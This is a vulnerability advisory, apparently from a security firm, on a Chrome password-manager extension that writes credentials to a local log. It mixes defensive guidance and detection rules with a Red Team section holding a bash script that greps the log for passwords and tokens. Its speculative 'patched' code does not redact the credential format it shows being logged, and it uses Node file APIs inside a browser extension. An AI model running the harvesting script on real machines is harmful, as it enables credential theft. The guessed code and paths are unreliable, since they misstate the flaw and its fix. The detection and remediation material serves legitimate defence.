CVE-2023-47131

Executive Summary

CVE-2023-47131 identifies an information disclosure vulnerability in the N-able PassPortal browser extension for Chrome, prior to version 3.29.2. The extension improperly inserts sensitive information, such as credentials or session tokens, into a log file. This log file could be accessed by a local attacker or malicious process with read access to the file system, leading to credential theft and unauthorized access to protected resources. The vulnerability is classified under CWE-532 (Insertion of Sensitive Information into Log File) and aligns with MITRE ATT&CK tactic T1005 (Data from Local System). No public proof-of-concept (PoC) or exploit code has been released, and the EPSS score is 0.0%, indicating low exploitation activity in the wild. However, the risk is significant for organizations using the extension in shared or multi-user environments.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary Chrome extension distributed through the Chrome Web Store. The supply chain risk is limited to the extension’s update mechanism and the integrity of the vendor’s distribution channel.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – The attacker needs user-level access to read the log file.
• User Interaction (UI): None (N) – No user action required beyond normal usage.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted resource are the same.
• Confidentiality (C): High (H) – Sensitive information is exposed.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No impact on availability.

CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Base Score: 5.5 (Medium)

Threat Level: Medium. The vulnerability requires local access, but the potential for credential theft makes it a serious concern in shared environments.

Deep Dive & Mechanics

The N-able PassPortal extension is designed to manage and autofill credentials for web applications. The vulnerability stems from the extension’s logging mechanism, which writes sensitive data (e.g., passwords, tokens, or API keys) to a log file on the local file system. This log file is typically stored in the user’s profile directory (e.g., %LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions\<extension_id>\<version>\logs on Windows or ~/.config/google-chrome/Default/Extensions/<extension_id>/<version>/logs on Linux).

The issue arises because the extension does not sanitize or redact sensitive information before writing to the log. An attacker with local access (e.g., via malware, shared workstation, or physical access) can read the log file and extract credentials. The vulnerability is present in versions before 3.29.2, where the logging function was updated to exclude sensitive fields.

Root Cause: The extension’s logging function directly concatenates user input or API responses into log entries without filtering sensitive parameters.

Attack Scenario:

1. A user installs the vulnerable extension and uses it to log into a web application.
2. The extension writes the credentials to a log file.
3. An attacker gains local access (e.g., via a malicious script or physical access) and reads the log file.
4. The attacker uses the extracted credentials to access the target application.

Vulnerable vs. Patched Code

The vulnerable code likely resembles:

// Vulnerable version (before 3.29.2)
function logActivity(activity) {
    const logEntry = `[${new Date().toISOString()}] ${activity}`;
    fs.appendFileSync(logPath, logEntry + '\n');
}

// Usage
logActivity(`User logged in with credentials: ${username}:${password}`);

The patched version (3.29.2+) sanitizes the log entry:

// Patched version (3.29.2+)
function logActivity(activity) {
    const sanitizedActivity = activity.replace(/password=[^&]+/g, 'password=REDACTED');
    const logEntry = `[${new Date().toISOString()}] ${sanitizedActivity}`;
    fs.appendFileSync(logPath, logEntry + '\n');
}

// Usage
logActivity(`User logged in with credentials: ${username}:${password}`);

The patch ensures that sensitive fields (e.g., passwords, tokens) are redacted before being written to the log.

Exploitation & Lab Setup

Red Team

Objective: Extract credentials from the log file of a vulnerable N-able PassPortal extension.

Prerequisites:

• A Windows or Linux machine with Chrome and the vulnerable extension (version < 3.29.2) installed.
• Local access to the user’s profile directory.

Steps:

1. Identify the extension ID for N-able PassPortal (e.g., abcdefghijklmnop).
2. Locate the log file:
   • Windows: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions\abcdefghijklmnop\3.29.1\logs\extension.log
   • Linux: ~/.config/google-chrome/Default/Extensions/abcdefghijklmnop/3.29.1/logs/extension.log
3. Read the log file:

   cat /path/to/extension.log
   

4. Search for sensitive patterns:

   grep -E "(password|token|secret|key)" /path/to/extension.log
   

5. Extract and use the credentials.

Automated Script:

#!/bin/bash
# extract_passportal_creds.sh
EXTENSION_ID="abcdefghijklmnop"
LOG_DIR="$HOME/.config/google-chrome/Default/Extensions/$EXTENSION_ID"
LATEST_VERSION=$(ls -t "$LOG_DIR" | head -1)
LOG_FILE="$LOG_DIR/$LATEST_VERSION/logs/extension.log"
if [ -f "$LOG_FILE" ]; then
    grep -E "(password|token|secret|key)" "$LOG_FILE"
else
    echo "No log file found."
fi

Blue Team

Detection:

• Monitor for unauthorized access to Chrome extension log files.
• Use file integrity monitoring (FIM) to detect reads of sensitive log files.
• Deploy EDR rules to alert on processes reading extension logs.

Prevention:

• Ensure the extension is updated to version 3.29.2 or later.
• Restrict local access to user profiles via group policies.
• Enable Windows Defender Credential Guard or similar to protect credentials.

Hunting:

• Search for log files containing patterns like password= or token= in the extension directory.
• Correlate with user login events to identify potential credential theft.

Indicators of Compromise (IOCs)

• File Paths:
  • %LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions\<extension_id>\<version>\logs\extension.log
  • ~/.config/google-chrome/Default/Extensions/<extension_id>/<version>/logs/extension.log
• Log Patterns:
  • password=
  • token=
  • secret=
  • key=
• Extension ID: (Example) abcdefghijklmnop (actual ID varies by installation)
• Registry Key (Windows): HKEY_CURRENT_USER\Software\Google\Chrome\Extensions\<extension_id>

Detection Engineering

YARA Rule

rule Detect_PassPortal_Log_Exposure {
    meta:
        description = "Detects log files from N-able PassPortal extension containing sensitive data"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2023-47131"
    strings:
        $sensitive1 = /password=[^&\s]+/
        $sensitive2 = /token=[^&\s]+/
        $sensitive3 = /secret=[^&\s]+/
        $log_header = "extension.log"
    condition:
        $log_header and any of ($sensitive*)
}

Sigma Rule

title: N-able PassPortal Sensitive Data in Log File
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects access to N-able PassPortal log files containing sensitive information
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-47131
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|contains: 'Extensions\'
        TargetFilename|endswith: '\extension.log'
    condition: selection
falsepositives:
    - Legitimate extension updates
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"N-able PassPortal Sensitive Data Exfiltration"; flow:to_server; content:"password="; nocase; content:"token="; nocase; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update the N-able PassPortal extension to version 3.29.2 or later from the Chrome Web Store.
2. Delete existing log files from the extension directory to prevent exposure of historical data.
3. Rotate any credentials that may have been logged.

Long-Term Mitigations:

• Implement application-level logging policies that exclude sensitive data.
• Use centralized logging with access controls and encryption.
• Deploy endpoint detection and response (EDR) solutions to monitor for unauthorized log access.
• Educate users on the risks of using browser extensions in shared environments.

Vendor Advisory:

• N-able has released version 3.29.2 to address this issue. Users should upgrade immediately.

Valters IT